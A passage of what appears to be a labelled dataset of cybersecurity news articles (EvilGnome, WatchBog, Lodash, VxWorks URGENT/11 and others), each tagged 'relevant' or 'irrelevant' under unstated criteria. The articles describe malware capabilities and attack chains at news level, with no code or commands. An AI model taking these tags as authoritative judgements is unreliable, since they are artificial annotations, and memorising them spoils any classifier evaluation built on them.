registering gnome-shell-ext.sh to run every minute in crontab. Finally, the script executes gnome-shell-ext.sh, which in turn launches the main executable gnome-shell-ext,"" the researchers said. EvilGnome's Spyware Modules The Spy Agent of EvilGnome contains five malicious modules called ""Shooters,"" as explained below: ShooterSound — this module uses PulseAudio to capture audio from the user's microphone and uploads the data to the operator's command-and-control server. ShooterImage — this module uses the Cairo open source library to captures screenshots and uploads them to the C&C server. It does so by opening a connection to the XOrg Display Server, which is the backend to the Gnome desktop. ShooterFile — this module uses a filter list to scan the file system for newly created files and uploads them to the C&C server. ShooterPing — the module receives new commands from the C&C server, like download and execute new files, set new filters for file scanning, download and set new runtime configuration, exfiltrate stored output to the C&C server, and stop any shooter module from running. ShooterKey — this module is unimplemented and unused, which most likely is an unfinished keylogging module. Notably, all the above modules encrypt their output data and decrypt commands received from the C&C server with RC5 key ""sdg62_AS.sa$die3,"" using a modified version of a Russian open source library. Possible Connection b/w EvilGnome and Gamaredon Hacking Group Furthermore, the researchers also found connections between EvilGnome and Gamaredon Group, an alleged Russian threat group that has been active since at least 2013 and has targeted individuals working with the Ukrainian government. Here below, I have briefed some of the similarities between EvilGnome and Gamaredon Group: EvilGnome uses a hosting provider that has been used by Gamaredon Group for years and continues to be used by it. EvilGnome also found to be operating on an IP address that was controlled by the Gamaredon group two months ago. EvilGnome attackers are also using '.space' TTLD for their domains, just as the Gamaredon Group. EvilGnome employs techniques and modules—like the use of SFX, persistence with task scheduler, and the deployment of information-stealing tools—that remind of Gamaredon Group's Windows tools. How to Detect EvilGnome Malware? To check if your Linux system is infected with the EvilGnome spyware, you can look for the ""gnome-shell-ext"" executable in the ""~/.cache/gnome-software/gnome-shell-extensions"" directory. ""We believe this is a premature test version. We anticipate newer versions to be discovered and reviewed in the future, which could potentially shed more light into the group's operations,"" researchers conclude. Since security and antivirus products are currently failing to detect the EvilGnome malware, researchers recommend concerned Linux administrators to block the Command & Control IP addresses listed in the IOC section of Intezer's blog post.",relevant
"Linux Botnet Adding BlueKeep-Flawed Windows RDP Servers to Its Target List Cybersecurity researchers have discovered a new variant of WatchBog, a Linux-based cryptocurrency mining malware botnet, which now also includes a module to scan the Internet for Windows RDP servers vulnerable to the Bluekeep flaw. BlueKeep is a highly-critical, wormable, remote code execution vulnerability in the Windows Remote Desktop Services that could allow an unauthenticated remote attacker to take full control over vulnerable systems just by sending specially crafted requests over RDP protocol. Though the patches for the BlueKeep vulnerability (CVE–2019-0708) was already released by Microsoft in May this year, more than 800,000 Windows machines accessible over the Internet are still vulnerable to the critical flaw. Fortunately, even after many individuals in the security community developed working remote code exploits for BlueKeep, there is no public proof-of-concept (PoC) exploit available till the date, potentially preventing opportunistic hackers from wreaking havoc. However, cybersecurity firm Immunity just yesterday released an updated version of its commercial automated vulnerability assessment and penetration testing (VAPT) tool, CANVAS 7.23, which includes a new module for the BlueKeep RDP exploit. It appears the attackers behind WatchBog are using their botnet network to prepare ""a list of vulnerable systems to target in the future or to sell to third party vendors for profit,"" warned the researchers from Intezer Lab, who discovered the new WatchBog variant. ""The incorporation of the BlueKeep scanner by a Linux botnet may indicate WatchBog is beginning to explore financial opportunities on a different platform,"" the researchers said. The BlueKeep scanner included in WatchBog scans the Internet and then submits the list of newly discovered RDP hosts, as a hexadecimal data string encrypted using RC4, to the attacker-controlled servers. exploit for bluekeep rdp vulnerability According to the researcher, the new WatchBog variant has already compromised more than 4,500 Linux machines in the last two months. Although WatchBog is operating since late last year, attackers are distributing its new variant in an ongoing campaign active since early June this year. The newly-discovered WatchBog variant includes a new spreading module along with exploits for some recently patched vulnerabilities in Linux applications, allowing attackers to find and compromise more Linux systems rapidly. The WatchBog Linux botnet malware contains several modules, as structurally briefed below, which leverages recently patched vulnerabilities in Exim, Jira, Solr, Jenkins, ThinkPHP and Nexus applications to compromise Linux machines. Pwn Module CVE-2019-11581 (Jira) CVE-2019-10149 (Exim) CVE-2019-0192 (Solr) CVE-2018-1000861 (Jenkins) CVE-2019-7238 (Nexus Repository Manager 3) Scanning Module BlueKeep Scanner Jira Scanner Solr Scanner Brute-forcing Module CouchDB instances Redis instances Spreading Module Apache ActiveMQ (CVE-2016-3088) Solr (CVE-2019-0192) Code Execution over Redis After scanning and brute-forcing modules discover a Linux machine running the vulnerable application, WatchBog deploys a script on the targeted machine to download Monero miner modules from Pastebin website. The malicious script then also gains persistence on the infected system via crontab and further downloads a new spreader module, which comes in the form of a dynamically linked Cython-compiled ELF executable. Researchers have recommended Linux and Windows administrators to keep their software and operating systems up-to-date against known vulnerabilities in order to prevent themselves from being a victim of such attack campaigns. You can find if WatchBog has infected your Linux machine by checking the existence of the ""/tmp/.tmplassstgggzzzqpppppp12233333"" file or the ""/tmp/.gooobb"" file on your system.",relevant
"Unpatched Prototype Pollution Flaw Affects All Versions of Popular Lodash Library Lodash, a popular npm library used by more than 4 million projects on GitHub alone, is affected by a high severity security vulnerability that could allow attackers to compromise the security of affected services using the library and their respective user base. Lodash is a JavaScript library that contains tools to simplify programming with strings, numbers, arrays, functions, and objects, helping programmers write and maintain their JavaScript code more efficiently. Liran Tal, a developer advocate at open-source security platform Snyk, recently published details and proof-of-concept exploit of a high-severity prototype pollution security vulnerability that affects all versions of lodash, including the latest version 4.17.11. The vulnerability, assigned as CVE-2019-10744, potentially affects a large number of frontend projects due to the popularity of lodash that is being downloaded at a rate of more than 80 million times per month. Prototype pollution is a vulnerability that enables attackers to modify a web application's JavaScript object prototype, which is like a variable that can be used to store multiple values based on a predefined structure. These structures and default values are called prototypes that prevent an application from hashing when no values are set. However, if an attacker manages to inject properties into existing JavaScript language construct prototypes and manipulate these attributes to overwrite or pollute, it could affect how the application processes JavaScript objects through the prototype chain, leading to a denial of service issue or a remote code execution vulnerability. According to Tal, the function ""defaultsDeep"" in the Lodash library could be tricked into adding or modifying properties of Object.prototype using a constructor payload, which could result in crashing the web application or altering its behavior, depending upon the affected use-case. It should be noted that exploiting prototype pollution flaws is not easy and require in-depth knowledge on how each targeted web application works. The researcher responsible reported this vulnerability to John Dalton, maintainer of Lodash, and proposed fixes (pull requests 1 and 2) that will be included in the next version of the library, expected to be released very soon. If your project also uses on lodash, you are recommended to immediately update your library as soon as the official patch releases or manually apply the fixes.",relevant
"Judge Rules No Jail Time for WannaCry 'Killer' Marcus Hutchins, a.k.a. MalwareTech Marcus Hutchins, better known as MalwareTech, has been sentenced to ""time served"" and one year of supervised release for developing and selling the Kronos banking malware. Yes, Hutchins will not go to prison, United States District Judge J.P. Stadtmueller ruled today in Milwaukee County Court, after describing his good work as ""too many positives on the other side of the ledger."" In response to today's sentencing Hutchins said: ""Sentenced to time served! Incredibly thankful for the understanding and leniency of the judge, the wonderful character letter you all sent, and everyone who helped me through the past two years, both financially and emotionally."" Marcus Hutchins, 25, is the same British malware analyst who gained notoriety in cybersecurity circles for ""accidentally"" helping to stop the WannaCry ransomware outbreak in 2017 that wreaked havoc in over 150 countries and brought down companies across all industries. Hutchins was arrested by the FBI in August 2017 at Las Vegas International Airport when he was heading home to England after attending DefCon hacking conference in Las Vegas for his alleged role in creating and distributing Kronos between 2014 and 2015. Kronos is a banking trojan that Hutchins created, which he described today in court as one of some ""bad decisions"" he made when he was a teenager and ""deeply regret"" his conduct and the harm that was caused. Kronos malware has been designed to steal banking credentials and personal information of victims from their compromised computers, which was sold for $7,000 on Russian online forums. marcus hutchins malwaretech Last year, a revised superseding indictment was unsealed in Wisconsin accusing Hutchins and another yet-unidentified co-conspirator of creating and promoting not just Kronos but also for selling another malware, called UPAS Kit, on the dark web. UPAS Kit is a Spybot virus that unauthorizedly intercepts, collects and exfiltrates personal information, including credit card details, from infected computers using a form grabber and web injects. It was advertised for prices ranged above $1,000 back in 2012. Hutchins initially pleaded not guilty at a court hearing in August 2017 in Milwaukee and was released on $30,000 bail while awaiting trial. However, in April this year, Hutchins pledged guilty on two counts of creating and distributing the malware, which in total, carries a maximum sentence of 10 years in prison, $250,000 in fines, and up to one year of supervised release. At that time, Hutchins said: ""having grown up, I've since been using the same skills that I misused several years ago for constructive purposes. I will continue to devote my time to keeping people safe from malware attacks."" Now, today in court, though Hutchins accepted his role in creating the malware, the prosecutor failed to show how much damage Kronos actually made. Also, citing his role in stopping WannaCry and contribution in keeping people safe, the judge ended up giving Hutchins a lower sentence. The sentencing doesn't include jail time, as the judge said Hutchins has already served his time being arrested in Los Angeles and can go home under one year of supervised release.",irrelevant
"Marriott Faces $123 Million GDPR Fine Over Starwood Data Breach After fining British Airways with a record fine of £183 million earlier this week, the UK's data privacy regulator is now planning to slap world's biggest hotel chain Marriott International with a £99 million ($123 million) fine under GDPR over 2014 data breach. This is the second major penalty notice in the last two days that hit companies for failing to protect its customers' personal and financial information compromised and implement adequate security measures. In November 2018, Marriott discovered that unknown hackers compromised their guest reservation database through its Starwood hotels subsidiary and walked away with personal details of approximately 339 million guests. The compromised database leaked guests' names, mailing addresses, phone numbers, email addresses, dates of birth, gender, arrival and departure information, reservation date, and communication preferences. The breach, which likely happened in 2014, also exposed unencrypted passport numbers for at least 5 million users and credit card records of eight million customers. According to the Information Commissioner's Office (ICO), nearly 30 million residents of 31 countries in the European and 7 million UK residents were impacted by the Marriott data breach. The ICO's investigation found that Marriott failed to undertake sufficient due diligence when it bought Starwood and should also have done more to secure its systems. Last year, the General Data Protection Regulation (GDPR) was introduced in Europe that forces companies to make sure the way they collect, process, and store data are safe. ""The GDPR makes it clear that organizations must be accountable for the personal data they hold. This can include carrying out proper due diligence when making a corporate acquisition, and putting in place proper accountability measures to assess not only what personal data has been acquired, but also how it is protected,"" Information Commissioner Elizabeth Denham said. ""Personal data has real value so organizations have a legal duty to ensure its security, just like they would do with any other asset. If that doesn't happen, we will not hesitate to take strong action when necessary to protect the rights of the public."" Marriott International's president Arne Sorenson said the company was ""disappointed"" with the ICO's announcement and would contest the fine.",irrelevant
"Hackers Can Manipulate Media Files You Receive Via WhatsApp and Telegram If you think that the media files you receive on your end-to-end encrypted secure messaging apps can not be tampered with, you need to think again. Security researchers at Symantec yesterday demonstrated multiple interesting attack scenarios against WhatsApp and Telegram Android apps, which could allow malicious actors to spread fake news or scam users into sending payments to wrong accounts. Dubbed ""Media File Jacking,"" the attack leverages an already known fact that any app installed on a device can access and rewrite files saved in the external storage, including files saved by other apps installed on the same device. WhatsApp and Telegram allow users to choose if they want to save all incoming multimedia files on internal or external storage of their device. However, WhatsApp for Android by default automatically stores media files in the external storage, while Telegram for Android uses internal storage to store users files that are not accessible to any other app. But, many Telegram users manually change this setting to external storage, using ""Save to Gallery"" option in the settings, when they want to re-share received media files with their friends using other communication apps like Gmail, Facebook Messenger or WhatsApp. It should be noted that the attack is not just limited to WhatsApp and Telegram, and affects the functionality and privacy of many other Android apps as well. How Does ""Media File Jacking"" Attack Work? media file jacking attack Just like man-in-the-disk attacks, a malicious app installed on a recipient's device can intercept and manipulate media files, such as private photos, documents, or videos, sent between users through the device's external storage—all without the recipients' knowledge and in real-time. ""The fact that files are stored in, and loaded from, external storage without proper security mechanisms, allows other apps with write-to-external storage permission to risk the integrity of the media files,"" researchers said in a blog post. ""Attackers could take advantage of the relations of trust between a sender and a receiver when using these IM apps for personal gain or wreaking havoc."" Researchers illustrated and demonstrated four attack scenarios, as explained below, where a malware app can instantaneously analyze and manipulate incoming files, leading to: 1.) Image manipulation In this attack scenario, a seemingly innocent-looking, but actually malicious, app downloaded by a user can run in the background to perform a Media File Jacking attack while the victim uses WhatsApp and ""manipulate personal photos in near-real-time and without the victim knowing."" 2.) Payment manipulation In this scenario, which researchers call ""one of the most damaging Media File Jacking attacks,"" a malicious actor can manipulate an invoice sent by a vendor to customers to trick them into making a payment to an account controlled by the attacker. 3.) Audio message spoofing In this attack scenario, attackers can exploit the relations of trust between employees in an organization. They can use voice reconstruction via deep learning technology to alter an original audio message for their personal gain or to wreak havoc. 4.) Spread fake news In Telegram, admins use the concept of ""channels"" in order to broadcast messages to an unlimited number of subscribers who consume the published content. Using Media File Jacking attacks, an attacker can change the media files that appear in a trusted channel feed in real-time to spread fake news. How to Prevent Hackers from Hijacking Your Android Files Symantec already notified Telegram and Facebook/WhatsApp about the Media File Jacking attacks, but it believes the issue will be addressed by Google with its upcoming Android Q update. Android Q includes a new privacy feature called Scoped Storage that changes the way apps access files on a device's external storage. Scoped Storage gives each app an isolated storage sandbox into the device external storage where no other app can directly access data saved by other apps on your device. Until then, users can mitigate the risk of such attacks by disabling the feature responsible for saving media files to the device's external storage. To do so, Android users can head on to: WhatsApp: Settings → Chats → Turn the toggle off for 'Media Visibility' Telegram: Settings → Chat Settings → Disable the toggle for 'Save to Gallery'",relevant
"Microsoft Releases July 2019 Security Updates, 2 Flaws Under Active Attack Microsoft today released its monthly batch of software security updates for the July month to patch a total of 77 vulnerabilities, 14 are rated Critical, 62 are Important, and 1 is rated Moderate in severity. The July 2019 security updates include patches for various supported versions of Windows operating systems and other Microsoft products, including Internet Explorer, Edge, Office, Azure DevOps, Open Source Software, .NET Framework, Azure, SQL Server, ASP.NET, Visual Studio, and Exchange Server. Details of 6 security vulnerabilities, all rated important, were made public before a patch was released, none of which were found being exploited in the wild. However, two new privilege escalation vulnerabilities, one affects all supported versions of the Windows operating system, and the other affects Windows 7 and Server 2008, have been reported as being actively exploited in the wild. Both actively exploited vulnerabilities lead to elevation of privilege, one (CVE-2019-1132) of which resides in the Win32k component and could allow an attacker to run arbitrary code in kernel mode. However, the other actively exploited vulnerability (CVE-2019-0880) resides in the way splwow64 (Thunking Spooler APIs) handles certain calls, allowing an attacker or a malicious program to elevate its privileges on an affected system from low-integrity to medium-integrity. The publicly known flaws affect Docker runtime, SymCrypt Windows cryptographic library, Remote Desktop Services, Azure Automation, Microsoft SQL server, and Windows AppX Deployment Service (AppXSVC). Microsoft also released updates to patch 14 critical vulnerabilities, and as expected, all of them lead to remote code execution attacks and affect Microsoft products ranging from Internet Explorer and Edge to Windows Server DHCP, Azure DevOps and Team Foundation Servers. Some important-rated vulnerabilities also lead to remote code execution attacks, while others allow elevation of privilege, information disclosure, cross-site scripting (XSS), security feature bypass, spoofing, and denial of service attacks. Users and system administrators are strongly advised to apply the latest Microsoft security patches as soon as possible to keep hackers and cyber criminals away from taking control of their Windows computer systems. For installing the latest security updates, users can head on to Settings → Update & Security → Windows Update → Check for updates on their Windows computers or can install the updates manually. For addressing problematic updates on Windows 10 devices, Microsoft also introduced a safety measure in March this year that automatically uninstalls buggy software updates installed on your system if your OS detects a startup failure.",relevant
"Critical Flaws in 'OXID eShop' Software Expose eCommerce Sites to Hacking If your e-commerce website runs on the OXID eShop platform, you need to update it immediately to prevent your site from becoming compromised. Cybersecurity researchers have discovered a pair of critical vulnerabilities in OXID eShop e-commerce software that could allow unauthenticated attackers to take full control over vulnerable eCommerce websites remotely in less than a few seconds. OXID eShop is one of the leading German e-commerce shop software solutions whose enterprise edition is being used by industry leaders including Mercedes, BitBurger, and Edeka. Security researchers at RIPS Technologies GmbH shared their latest findings with The Hacker News, detailing about two critical security vulnerabilities that affect recent versions of Enterprise, Professional, and Community Editions of OXID eShop software. It should be noted that absolutely no interaction between the attacker and the victim is necessary to execute both vulnerabilities, and the flaws work against the default configuration of e-commerce software. OXID eShop: SQL Injection Flaw The first vulnerability, assigned as CVE-2019-13026, is a SQL injection vulnerability that allows an unauthenticated attacker to simply create a new administrator account, with a password of his own choice, on a website running any vulnerable version of OXID eShop software. ""An unauthenticated SQL injection can be exploited when viewing the details of a product. Since the underlying database makes use of the PDO database driver, stacked queries can be used to INSERT data into the database. In our exploit we abuse this to INSERT a new admin user,"" researchers told The Hacker News. Here's Proof-of-Concept video researchers shared with The Hacker News, demonstrating this attack: Though the PDO database system has been designed to prevent SQL injection attacks using prepared statements, using dynamically build SQL commands could leave stacked queries at higher risk of getting tainted. OXID eShop: Remote Code Execution Flaw The second vulnerability is a PHP Object injection issue, which resides in the administration panel of the OXID eShop software and occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. This vulnerability can be exploited to gain remote code execution on the server; however, it requires administrative access which can be obtained using the first vulnerability. ""A second vulnerability can then be chained to gain remote code execution on the server. We have a fully working Python2.7 exploit which can compromise the OXID eShops directly which requires only the URL as an argument,"" researchers told The Hacker News. Here's the video demonstration showing the RCE attack in action: Once successful, attackers can remotely execute malicious code on the underlying server, or install their own malicious plugin to steal users' credit cards, PayPal account information and any highly sensitive financial information that passes through the eShop system—just like MageCart attacks. RIPS researchers responsibly reported their findings to OXID eShops, and the company acknowledged the issue and addressed it with the release of OXID eShop v6.0.5 and 6.1.4 for all three Editions. It appears that the company did not patch the second vulnerability, but simply mitigated it by addressing the first issue. However, in the future, if any admin takeover issue is discovered, it will revive the RCE attacks.",relevant
"Popular Malware Families Using 'Process Doppelgänging' to Evade Detection The fileless code injection technique called Process Doppelgänging is actively being used by not just one or two but a large number of malware families in the wild, a new report shared with The Hacker News revealed. Discovered in late 2017, Process Doppelgänging is a fileless variation of Process Injection technique that takes advantage of a built-in Windows function to evade detection and works on all modern versions of Microsoft Windows operating system. Process Doppelgänging attack works by utilizing a Windows feature called Transactional NTFS (TxF) to launch a malicious process by replacing the memory of a legitimate process, tricking process monitoring tools and antivirus into believing that the legitimate process is running. Few months after the disclosure of this technique, a variant of the SynAck ransomware became the first-ever malware exploiting the Process Doppelgänging technique, targeting users in the United States, Kuwait, Germany, and Iran. Shortly after that, researchers discovered a dropper (loader) for the Osiris banking trojan that was also using this technique in combination with a previously discovered similar malware evasion technique called Process Hollowing. Now, turns out that it was not just SynAck or Osiris, but more than 20 different malware families—including FormBook, LokiBot, SmokeLoader, AZORult, NetWire, njRat, Pony stealer, and GandCrab ransomware—have been using malware loaders that leverage this hybrid implementation of Process Doppelgänging attack to evade detection. process doppelganging attack After analysing hundreds of malware samples, security researchers at enSilo discovered at least seven distinct versions of such loader, which they dubbed ""TxHollower,"" used by various malware authors. ""Attackers are known to reuse resources and tools in their attack chains, most notable are droppers, packers, and loaders. It highlights that shared components and code make tracking and attributing various groups even more complicated,"" researchers said. Researchers believe TxHollower loaders are available to cybercriminals through some offensive framework or exploit kit, eventually increasing the use of process doppelgänging-like techniques in-the-wild. The earliest sample of the loader with TxHollower feature was used in March 2018 to distribute Netwire RAT, and then later also found bundled with multiple GandCrab versions, starting with v5 and going all the way to v5.2. Besides this, researchers at enSilo also found a few samples wrapped in an additional layer such as MSI files and in some cases, loaders were nested with each other. ""While we didn't observe the actual infections, we were able to find a few samples we suspect to be related to the infection chain like downloaders and droppers of TxHollower. The type of files include PE executables, JavaScript and documents,"" the researchers said. To learn more about how the Process Doppelgänging attack technique works, you can read the previous article we published in 2017, and if you want to know more about various versions of TxHollower loader, you can head straight on to enSilo blog post published today.",relevant
"New Android Spyware Created by Russian Defense Contractor Found in the Wild Cybersecurity researchers have uncovered a new piece of mobile surveillance malware believed to be developed by a Russian defense contractor that has been sanctioned for interfering with the 2016 U.S. presidential election. Dubbed Monokle, the mobile remote-access trojan has been actively targeting Android phones since at least March 2016 and is primarily being used in highly targeted attacks on a limited number of people. According to security researchers at Lookout, Monokle possesses a wide range of spying functionalities and uses advanced data exfiltration techniques, even without requiring root access to a targeted device. How Bad is Monokle Surveillance Malware In particular, the malware abuses Android accessibility services to exfiltrate data from a large number of popular third-party applications, including Google Docs, Facebook messenger, Whatsapp, WeChat, and Snapchat, by reading text displayed on a device's screen at any point in time. The malware also extracts user-defined predictive-text dictionaries to ""get a sense of the topics of interest to a target,"" and also attempts to record the phone screen during a screen unlock event in order to compromise the phone's PIN, pattern or password. Besides this, if the root access is available, the spyware installs attacker-specified root CA certificates to the list of trusted certificates on a compromised device, potentially enabling the attackers to easily intercept encrypted SSL-protected network traffic through Man-in-the-Middle (MiTM) attacks. Other functionalities of Monokle includes: Track device location Record audio and calls Make screen recordings Keylogger and device-fingerprinting Retrieve browsing and call histories Take photos, videos, and screenshots Retrieve emails, SMSes, and Messages Steal contacts and calendar information making calls and sending text messages on behalf of victims Execute arbitrary shell commands, as root, if root access is available In total, Monokle contains 78 different predefined commands, which attackers can send through SMS, phone calls, email message exchange through POP3 and SMTP, and inbound/outbound TCP connections, instructing the malware to exfiltrate requested data and send it to the attackers remote command-and-control servers. Spyware Disguises as PornHub and Google Android Apps According to the researchers, attackers are distributing Monokle through fake apps that look just like Evernote, Google Play, Pornhub, Signal, UC Browser, Skype, and other popular Android apps. android malware apps Most of these apps even include legitimate functionality, preventing targeted users from suspecting the apps are malicious. Moreover, some recent samples of Monokle even come bundled with Xposed modules that allow the malware to customize some system features, eventually extending its ability to hook and hide presence in the process list. The malware package uses a DEX file in its assets folder that ""includes all cryptographic functions implemented in the open source library ""spongycastle,"" various email protocols, extraction and exfiltration of all data, serialization and deserialization of data using the Thrift protocol, and rooting and hooking functionality, among others."" The new Android malware and its capabilities remind us of the powerful surveillance malware Pegasus, developed by Israel-based NSO Group for both Apple iOS and Google Android devices. However, unlike Russian spyware Monokle, Pegasus comes with powerful zero-day exploits that install the spyware on a targeted device with little to no user interaction. Pegasus has previously been used to target human rights activists and journalists, from Mexico to the United Arab Emirates and again last year against an Amnesty International staffer in Saudi Arabia. Russian Defense Contractor STC Developed Monokle Malware Monokle was developed by a Russia-based company, called Special Technology Centre Ltd. (STC)—a private defense contractor known for producing UAVs and Radio Frequency (RF) equipment for Russian military as well as other government customers. android malware created by russian company According to Lookout researchers, Monokle and STC's Android security suite called Defender are digitally signed with the same cryptographic certificates and also share the same command and control infrastructure. ""Command-and-control infrastructure that communicates with the Defender application also communicates with Monokle samples. The signing certificates used for signing Android application packages overlap between Defender and Monokle as well,"" according to the report. ""Additional overlap was observed by Lookout researchers between Monokle and the defensive security software produced by STC in the authors' development and implementation choices."" Monokle for iOS Under Development Besides Android, researchers also came across some Monokle malware samples, analysis of which revealed the existence of iOS versions of Monokle targeting Apple devices, though the researchers found no evidence of any active iOS infection as of now. Some commands in the malware samples appear to serve no purpose as part of the Android client and have likely been added unintentionally, which suggests that the iOS versions of Monokle may be under development. Those commands include iOS functions for the keychain, iCloud connections, Apple iWatch accelerometer data, iOS permissions, and other iOS features or services. According to Lookout researchers, Monokle is used in highly targeted attacks on a limited number of people in the Caucasus regions of Eastern Europe as well as individuals interested in Islam and the Ahrar al-Sham militant group in Syria, and individuals in the Central Asian nation and former Soviet republic Uzbekistan.",relevant
"Engage Your Management with the Definitive 'Security for Management' Presentation Template In every organization, there is a person who's directly accountable for cybersecurity. The name of the role varies per the organization's size and maturity – CISO, CIO, and Director of IT are just a few common examples – but the responsibility is similar in all places. They're the person who understands the risk and exposure, knows how prepared the team and most important – what the gaps are and how they can be best addressed. Apart from actually securing the organization – and losing some sleep over it – this individual has another equally important task: to communicate the security risk, needs, and status to the company's management. After all, the level of security rises in direct proportion to the amount of invested resources, and management people are the ones who decide and allocate them. Since management people are not typically cybersecurity savvy, engaging them can be challenging – one must find the balance between high-level explanations, a direct connection between cyber risk and operational loss, and an accurate description of current status and challenges. To address these needs, Cynet introduces the definitive 'Security for Management' PPT template. A first of its kind presentation that encloses all the key elements that are required to gain management mindshare and make them active partners. It provides a concise presentation of the security issues that matter and are also easily understood by a non-technical audience. The definitive 'Security for Management' PPT template uses the NIST Cyber Security Framework as high-level guidelines to frame the discussion and includes open sections which are to be filled out with information speaking to the specific organization's state. Overall, the template assists in the following: Turning cybersecurity from abstract risk to business mission – map a vague risk notion presentable to real people that occupy specific roles, with the goal of securing the organization against a clearly tangible loss. Creating a common language, so security needs are easily understood – knowledge is power. Security knowledgeable management is instrumental in moving in the right direction. The NIST framework pillars – identify, protect, detect, respond, and recover – are easily understood and provide good ground for communication. Taking cybersecurity from a mere budget request to a continuous strategic journey – you cannot underestimate the importance of this. Understanding that being secure is a continuous process is paramount to any long-term planning. Introducing operational metrics to measure stature and progress – at the end of the day, everything has to translate into numbers. Either goals are achieved, or they are not. One way or the other, presenting results of the security products/security team brings transparency that creates trust. The definitive 'Security for Management' presentation template is ideal for anyone who works hard to achieve organizational security and strives to communicate their work's true value. Download the definitive 'Security for Management' presentation template here.",irrelevant
"Siemens Contractor Pleads Guilty to Planting 'Logic Bomb' in Spreadsheets A former Siemens contractor has pledged guilty in federal court Friday to secretly planting code in automated spreadsheets he had created for the company over a decade ago that deliberately crashes the program every few years. David Tinley, a 62-year-old resident of Harrison City, Pennsylvania, was hired by Siemens as a contract employee for Monroeville, Pennsylvania location, in 2002 to create custom automated spreadsheets for various Siemens projects related to the power generation industry. However, according to the United States Justice Department (DoJ), Tinley intentionally and without the company's knowledge or authorization inserted ""logic bombs"" into computer programs that caused glitches in the spreadsheet after the expiration of a certain date. Logic Bomb is a piece of computer code intentionally inserted into software or system to carry out specific operations like crash or malfunction after certain conditions are met, or an amount of time has expired. For years logic bombs went off and spreadsheets glitched, and Siemens would recall Tinley and pay him to fix the problems with the spreadsheets that the company used to manage orders for electrical equipment. At that point, Tinley would just fix the issue by resetting the clock, invoice for his time, and then wait for the program to go wrong again, Law360 reports. However, things did not remain the same for Tinley on May 2016 when he was out of state for a vacation, and Siemens had to put in an urgent order, but a glitch in the spreadsheet occurred again. At that point, Tinley was forced to hand over the administrator password to Siemens employees in order to unlock the spreadsheet for editing. It was then when he got caught when other employees of the company found the logic bombs in the sheet's scripts. David Tinley was indicted in May 2019 and just last week pledged guilty to one count of intentional damage to a protected computer. He is now facing up to 10 years imprisonment along with a fine of up to $ 250,000. The sentencing could have been lesser if he had pleaded guilty early and avoided a full-blown trial. Chief United States District Judge Peter J. Phipps has scheduled Tinley's sentencing for November 8, 2019.",irrelevant
"Silk Road Admin Sentenced to 78 Months in Prison On Drug Trafficking Charges An Irish national has been jailed for six-and-a-half years for his role as one of the administrators and forum moderators who helped run now-defunct dark web marketplace ""Silk Road."" Gary Davis, 31, of Wicklow, Ireland, was known as 'Libertas' on the Silk Road website, then-largest underground black marketplace on the Internet used by thousands of people to buy and sell drugs and other illegal goods and services. Silk Road site administrators were responsible for, among other things, monitoring user activity on the underground website for any problem, responding to customer service inquiries, and resolving any dispute between buyers and vendors. Davis was indicted by U.S. federal prosecutors in 2013 when authorities shut down the Silk Road website and arrested its founder Ross William Ulbricht, who was sentenced to life in prison in 2015 after being convicted on multiple counts related to the black marketplace. ""During its operation from 2011 until 2013, Silk Road was used by thousands of drug dealers and other unlawful vendors to distribute over $200 million worth of illegal drugs and other illicit goods and services to more than 115,000 buyers, and to launder hundreds of millions of dollars derived from those unlawful transactions,"" the DoJ said. Davis, who worked as a site administrator on Silk Road between June 2013 and October 2, 2013, was then arrested in Ireland in January 2014. He fought extradition in Irish courts but got extradited last year from the Republic of Ireland to the United States. In October 2018, Davis finally pleaded guilty to drug trafficking charges, ""one count of conspiracy to distribute narcotics,"" a felony that carries a maximum sentence of 20 years in prison. However, the United States federal court has now imposed a prison sentence of 78 months on Davis, according to a press release published Thursday by the U.S. Department of Justice. Besides his prison term, Davis has also been ordered to serve three years of supervised release and pay $25,000 in fine. ""Davis's arrest, extradition from Ireland, conviction, and prison sentence should send an unmistakable message: the dark web does not cast shadows long enough to protect criminals from the long arm of the law,"" Manhattan U.S. Attorney Geoffrey S. Berman said. During the shut down of Silk Road in 2013, the FBI also seized Bitcoins (worth about $33.6 million, at the time), which were later sold in a series of auctions by the United States Marshals Service (USMS).",irrelevant
"Critical Flaws Found in VxWorks RTOS That Powers Over 2 Billion Devices Security researchers have discovered almost a dozen zero-day vulnerabilities in VxWorks, one of the most widely used real-time operating systems (RTOS) for embedded devices that powers over 2 billion devices across aerospace, defense, industrial, medical, automotive, consumer electronics, networking, and other critical industries. According to a new report Armis researchers shared with The Hacker News prior to its release, the vulnerabilities are collectively dubbed as URGENT/11 as they are 11 in total, 6 of which are critical in severity leading to 'devastating' cyberattacks. Armis Labs is the same IoT security company that previously discovered the BlueBorne vulnerabilities in Bluetooth protocol that impacted more than 5.3 Billion devices—from Android, iOS, Windows and Linux to the Internet of things (IoT). These vulnerabilities could allow remote attackers to bypass traditional security solutions and take full control over affected devices or ""cause disruption on a scale similar to what resulted from the EternalBlue vulnerability,"" without requiring any user interaction, researchers told The Hacker News. It's likely possible that many of you might have never heard of this operating system, but Wind River VxWorks is being used to run many everyday internet-of-things such as your webcam, network switches, routers, firewalls, VOIP phones, printers, and video-conferencing products, as well as traffic lights. Besides this, VxWorks is also being used by mission-critical systems including SCADA, trains, elevators and industrial controllers, patient monitors, MRI machines, satellite modems, in-flight WiFi systems, and even the mars rovers. URGENT/11 ⁠— Vulnerabilities in VxWorks RTOS The reported URGENT/11 vulnerabilities reside in the IPnet TCP/IP networking stack of the RTOS that was included in VxWorks since its version 6.5, apparently leaving all versions of VxWorks released in the last 13 years vulnerable to device takeover attacks. All 6 critical vulnerabilities let attackers trigger remote code execution (RCE) attacks, and remaining flaws could lead to denial-of-service, information leaks, or logical flaws. Critical Remote Code Execution Flaws: Stack overflow in the parsing of IPv4 options (CVE-2019-12256) Four memory corruption vulnerabilities stemming from erroneous handling of TCP's Urgent Pointer field (CVE-2019-12255, CVE-2019-12260, CVE-2019-12261, CVE-2019-12263) Heap overflow in DHCP Offer/ACK parsing in ipdhcpc (CVE-2019-12257) DoS, Information Leak, and Logical Flaws: TCP connection DoS via malformed TCP options (CVE-2019-12258) Handling of unsolicited Reverse ARP replies (Logical Flaw) (CVE-2019-12262) Logical flaw in IPv4 assignment by the ipdhcpc DHCP client (CVE-2019-12264) DoS via NULL dereference in IGMP parsing (CVE-2019-12259) IGMP Information leak via IGMPv3 specific membership report (CVE-2019-12265) All these flaws can be exploited by an unauthenticated, remote attacker just by sending a specially crafted TCP packet to an affected device without requiring any user interaction or prior information regarding the targeted device. However, each version of VxWorks since 6.5 is not vulnerable to all 11 flaws, but at least one critical RCE flaw affects each version of the real-time operating system. 